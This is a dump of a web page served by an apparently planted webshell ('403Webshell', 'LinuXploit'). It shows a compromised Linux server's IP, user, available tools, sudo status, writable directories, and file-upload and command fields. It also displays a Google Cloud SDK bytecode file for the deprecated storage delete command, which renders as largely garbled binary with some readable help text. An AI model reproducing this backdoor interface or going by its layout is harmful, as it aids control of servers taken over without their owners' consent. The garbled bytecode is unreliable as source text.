403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/delete.cpython-311.pyc
�

����	�d�dZddlmZddlmZddlmZddlmZddlmZddlm	Z	ddlm
Z
dd	lmZdd
lm
Z
ddlmZddlmZdd
lmZe	je	jdd���e	je	je	jj��Gd�de	j����������ZdS)z&Command to list Cloud Storage objects.�)�absolute_import)�division)�unicode_literals)�storage_api)�storage_util)�base)�
exceptions)�	expansion)�flags)�storage_parallel)�log)�
console_ioFzBThis command is deprecated. Use `gcloud alpha storage rm` instead.)�
is_removed�warningc�8�eZdZdZddd�Zed���Zd�ZdS)�Deletez)Delete Cloud Storage objects and buckets.z�      *{command}* lets you delete Cloud Storage objects and buckets. You can
      specify one or more paths (including wildcards) and all matching objects
      and buckets will be deleted.
      a~      To delete an object, run:

        $ *{command}* gs://mybucket/a.txt

      To delete all objects in a directory, run:

        $ *{command}* gs://mybucket/remote-dir/*

      The above command will delete all objects under remote-dir/ but not its sub-directories.

      To delete a directory and all its objects and subdirectories, run:

        $ *{command}* --recursive gs://mybucket/remote-dir
        $ *{command}* gs://mybucket/remote-dir/**

      To delete all objects and subdirectories of a directory, without deleting the directory
      itself, run:

        $ *{command}* --recursive gs://mybucket/remote-dir/*

        or

        $ *{command}* gs://mybucket/remote-dir/**

      To delete all objects and directories in a bucket without deleting the bucket itself, run:

        $ *{command}* gs://mybucket/**

      To delete all text files in a bucket or a directory, run:

        $ *{command}* gs://mybucket/*.txt
        $ *{command}* gs://mybucket/remote-dir/*.txt

      To go beyond directory boundary and delete all text files in a bucket or a directory, run:

        $ *{command}* gs://mybucket/**/*.txt
        $ *{command}* gs://mybucket/remote-dir/**/*.txt

      To delete a bucket, run:

        $ *{command}* gs://mybucket

      You can use wildcards in bucket names. To delete all buckets with prefix of `my`, run:

        $ *{command}* --recursive gs://my*
      )�DESCRIPTION�EXAMPLESc���|�ddd���|�ddd���|�d	td
dd�
��tj|��dS)N�path�+z}The path of objects and directories to delete. The path must begin with gs:// and may or may not contain wildcard characters.)�nargs�help�--recursive�
store_truezRRecursively delete the contents of any directories that match the path expression.)�actionrz
--num-threadsT�z,The number of threads to use for the delete.)�type�hidden�defaultr)�add_argument�intr�add_additional_headers_flag)�parsers �lib/surface/storage/delete.py�ArgszDelete.Args`s���
�����P��Q�Q�Q�
�����$��%�%�%�
����
���
;��=�=�=�
�%�f�-�-�-�-�-�c��tj|��|jpdg}tj��}|�|��\}}|r|jstjdd���g}g}|D]\}tj
�|d���}	|	js|�
|	j��|�
|dz���]|�|��\}
}|�|
��g}t!|��D]F}
|�
t#jtj
�|
�������G|rOt'jd��d}|d	�d
�|D����z
}t-j|dd���d}|d
�d�|D����z
}|d
�d�|D����z
}t-j|dd���t#j||jd���t&j�d�t;|��t;|��dkrdnd
����t=j��}|D]?}|� |��t'j!|�"��d����@dS)Nzgs://rzBSource path matches directories but --recursive was not specified.T)�allow_empty_objectz**z[Deleting a bucket is irreversible and makes that bucket name available for others to claim.z2This command will delete the following buckets:
  �
  c��g|]	}|j��
S�)�bucket��.0�bs  r%�
<listcomp>zDelete.Run.<locals>.<listcomp>�s��8�8�8�1�a�h�8�8�8r')�message�throw_if_unattended�cancel_on_noz&You are about to delete the following:�c�<�g|]}d|���z��S�r*)�ToUrlr.s  r%r1zDelete.Run.<locals>.<listcomp>�s%��<�<�<�q�������*�<�<�<r'c�F�g|]}d|j���z��Sr7)�obj_refr8)r/�ts  r%r1zDelete.Run.<locals>.<listcomp>�s)��B�B�B�q������!2�!2�2�B�B�Br'zDeleting Files)�num_threads�progress_bar_labelzDeleted [{}] file{}.
��sr-)�kind)#r�RequireProjectIDrr
�GCSPathExpander�ExpandPaths�	recursiver	�RequiredArgumentExceptionr�ObjectReference�FromUrl�name�append�
bucket_ref�update�sortedr�ObjectDeleteTaskr
r�joinr�PromptContinue�ExecuteTasksr<�status�write�format�lenr�
StorageClient�DeleteBucket�DeletedResourcer8)�self�args�paths�expander�objects�dirs�buckets�	dir_paths�dr:�sub_objects�_�tasks�or2�storage_clientr0s                 r%�Runz
Delete.Runus$����$�����I�"�'��E��(�*�*�H��(�(��/�/�M�G�T��P�D�N�P��0�
�
N�
P�
P�P��G��I�
�!�!���,�4�4�Q�4�4�P�P�g�
�\�+����w�)�*�*�*����q�4�x� � � � ��)�)�)�4�4�N�K���N�N�;�����E�
�G�_�_�4�4���l�l�#�4�
�
&�
.�
.�q�
1�
1�3�3�4�4�4�4��H�	�k�8�9�9�9�E�g�
����8�8��8�8�8�9�9�9�g����t�$�H�H�H�H�7�G��r�w�w�<�<�G�<�<�<�=�=�=�G��r�w�w�B�B�E�B�B�B�C�C�C�G����T��F�F�F�F��!�%�T�5E�5E�G�G�G�G��J��� �'�'���J�J�s�5�z�z�A�~�~���2�	7�	7�8�8�8�!�.�0�0�N�
�4�4���!�!�!�$�$�$�	��!�'�'�)�)�(�3�3�3�3�3�4�4r'N)�__name__�
__module__�__qualname__�__doc__�
detailed_help�staticmethodr&rfr,r'r%rr!s]������2�1�
�
.
�
5�5�-�n�.�.��<�.�(34�34�34�34�34r'rN)rj�
__future__rrr�googlecloudsdk.api_lib.storagerr�googlecloudsdk.callioperr	�"googlecloudsdk.command_lib.storager
rr�googlecloudsdk.corer
�googlecloudsdk.core.consoler�Hidden�	Deprecate�UniverseCompatible�
ReleaseTracks�ReleaseTrack�ALPHA�Commandrr,r'r%�<module>rzs��� -�,�&�&�&�&�&�&�������'�'�'�'�'�'�6�6�6�6�6�6�7�7�7�7�7�7�(�(�(�(�(�(�.�.�.�.�.�.�8�8�8�8�8�8�4�4�4�4�4�4�?�?�?�?�?�?�#�#�#�#�#�#�2�2�2�2�2�2������5�+9�:�:�:������D�%�+�,�,�B4�B4�B4�B4�B4�T�\�B4�B4�-�,���:�:�
��
B4�B4�B4r'

Youez - 2016 - github.com/yon3zu
LinuXploit